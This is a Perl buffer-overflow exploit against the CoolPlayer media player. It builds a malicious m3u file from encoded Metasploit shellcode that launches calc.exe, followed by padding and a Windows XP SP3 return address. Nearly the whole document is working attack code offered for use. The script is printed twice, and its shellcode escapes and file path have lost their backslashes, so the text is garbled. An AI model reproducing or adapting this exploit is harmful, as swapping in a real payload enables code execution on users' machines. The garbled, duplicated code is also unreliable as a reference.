CoolPlayer m3u File Local Buffer Overflow Exploit
#!/usr/bin/perl
# k`sOSe - 07/29/2008 use warnings;
use strict; # http://www.metasploit.com
# EXITFUNC=seh, CMD=c:WINDOWSsystem32calc.exe
# [*] x86/shikata_ga_nai succeeded, final size 169
my $shellcode = "xd9xcaxd9x74x24xf4x5exb8xf5x65x2dxfbx31xc9xb1" .
"x24x31x46x19x83xeexfcx03x46x15x17x90xd1x13x93" .
"x5bx2axe4x90x19x16x6fxdaxa4x1ex6excdx2cx91x68" .
"x9ax6cx0ex88x77xdbxc5xbex0cxddx37x8fxd2x47x6b" .
"x74x12x03x73xb4x58xe1x7axf4xb7x0ex47xacx63xeb" .
"xcdxa9xe0xacx09x33x1dx34xd9x3fxaax32x82x23x2d" .
"xaexb6x40xa6x31x22xf1xe4x15xb0xc1x4bx67x4exa5" .
"x25xe3x25x60xf9x60x79x61x72x06x66xd4x0fx8fx9e" .
"xafxf7xd3x5fxc5x57xbcxafx90x53x63x38x3dxa5x11" .
"xb6x6axa6xc1xa4xaex04x59x62x81xf0x2ax23x4exa4" .
"xc7xb2x03x20x4dx28xd7xfaxd1xd1x76x96x8ax3bx1c" .
"x1ex28x44xd4"; print $shellcode .
"x41" x (218 - length($shellcode)) .
"x32x4cx3cx7e" ; # call ebx user32.dll winxp sp3
# k`sOSe - 07/29/2008 use warnings;
use strict; # http://www.metasploit.com
# EXITFUNC=seh, CMD=c:WINDOWSsystem32calc.exe
# [*] x86/shikata_ga_nai succeeded, final size 169
my $shellcode = "xd9xcaxd9x74x24xf4x5exb8xf5x65x2dxfbx31xc9xb1" .
"x24x31x46x19x83xeexfcx03x46x15x17x90xd1x13x93" .
"x5bx2axe4x90x19x16x6fxdaxa4x1ex6excdx2cx91x68" .
"x9ax6cx0ex88x77xdbxc5xbex0cxddx37x8fxd2x47x6b" .
"x74x12x03x73xb4x58xe1x7axf4xb7x0ex47xacx63xeb" .
"xcdxa9xe0xacx09x33x1dx34xd9x3fxaax32x82x23x2d" .
"xaexb6x40xa6x31x22xf1xe4x15xb0xc1x4bx67x4exa5" .
"x25xe3x25x60xf9x60x79x61x72x06x66xd4x0fx8fx9e" .
"xafxf7xd3x5fxc5x57xbcxafx90x53x63x38x3dxa5x11" .
"xb6x6axa6xc1xa4xaex04x59x62x81xf0x2ax23x4exa4" .
"xc7xb2x03x20x4dx28xd7xfaxd1xd1x76x96x8ax3bx1c" .
"x1ex28x44xd4"; print $shellcode .
"x41" x (218 - length($shellcode)) .
"x32x4cx3cx7e" ; # call ebx user32.dll winxp sp3